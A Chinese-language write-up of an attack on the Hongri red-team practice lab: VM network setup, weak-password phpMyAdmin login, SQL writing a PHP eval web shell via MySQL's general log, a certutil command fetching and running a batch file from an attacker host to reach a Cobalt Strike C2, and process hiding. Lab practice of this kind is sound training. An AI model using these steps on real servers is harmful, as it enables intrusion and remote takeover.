这里因为后面大部分是CS操作，所以后面就单开了，这里主要讲环境搭建和web打点


![图片.png](/static/img/c745659f5726ce7d004710b4656447ab.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/678ff34eb10025cb757e4e131acf5b00.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里其实发现rootroot好像可以连接，但是好像只能本地连接

信息搜集情况

![图片.png](/static/img/ec53b160560fad243fb9cb139632e070.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)
![图片.png](/static/img/3096f148c02c7f05647dea00a35bf155.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里发现tm phpadmin直接可以弱口令rootroot登录进去，神了


这里其实可以看到网站的根目录是这个
![图片.png](/static/img/37b1f97383678f357901e5e0438b9cca.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/5c7c57e35e259810a165ef69161d09f7.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/45008b539390370a7b01d0ef90e79c44.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


```sql
SET GLOBAL general_log = 'ON';

SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';

SELECT '<?php @eval($_POST[1]);?>';

SET GLOBAL general_log = 'OFF';
```


![图片.png](/static/img/e7332f388398c48b74a9dd2c8a4cdaed.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/44508c14f6785adc1cb1399fee9cd04e.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

这里使用mht的，不知道是环境的问题还是我的问题，反正C2连不上去



这里开始自己搭建靶场

设置一张虚拟网卡，仅主机模式，子网ip段随意
![图片.png](/static/img/cacaf6c1641decdd05ef10d1dc7b7082.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

对于win7，添加一个网络适配器，因为需要和外网联通，这里可以选择nat或者桥接模式
![图片.png](/static/img/835b7a281c0553493ea4fc581a95bd66.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

其他的两台机器都选择自定义，选择你设置的那张虚拟网卡，记得勾选dhcp，要不然就得自己配，那还不如用LAN

登录密码
hongrisec@2019

这里要注意的是，出现下图问题，win7的机器需要点击升级此虚拟机

![图片.png](/static/img/8b833473ac20dfb18bf7132ac1d6902d.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


![图片.png](/static/img/73962b2bea27c8d989cf604bce1a52f0.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


然后这里是各个机器的ip地址，这里只需要记住win7的外网访问地址即可，内网地址用于ping测试来检测环境是否搭建完成

win7
![图片.png](/static/img/74deb14a86d6d4b2b42d8958ffebd4b8.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

2008
![图片.png](/static/img/9bfffb29775642caeea6c83c0aaffc76.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


2003
![图片.png](/static/img/866c028bfdf46e583e662ce91c110f02.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


内网两台机器互通，外网ping内网机器不通，这里pignwin7是不通的猜测是可能开启了禁ping
![图片.png](/static/img/07edd994c5541560d37b8e27b01cde93.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

![图片.png](/static/img/b5b38d02246b4d43d02921c46af58646.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


至此环境大致可以算是搭建完成


然后我们继续打

这次无比顺利，直接连接上了

![图片.png](/static/img/e7cf62f4fdad607ead1340c1c23fefbe.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)


可以看到我这里的进程吗这个是通过

```
certutil.exe -urlcache -split -f http://192.168.1.2:5555/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat
```
上线的
![图片.png](/static/img/e931aec057d1704f6c16b60671dff00a.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

看了很多，还是去学学CS

这篇后续直接在CS使用文章里面了，不更了

这里是进程隐藏
![图片.png](/static/img/00715c4474857abad69a9eff1753d446.%C3%A5%C2%9B%C2%BE%C3%A7%C2%89%C2%87.webp)

红日靶场一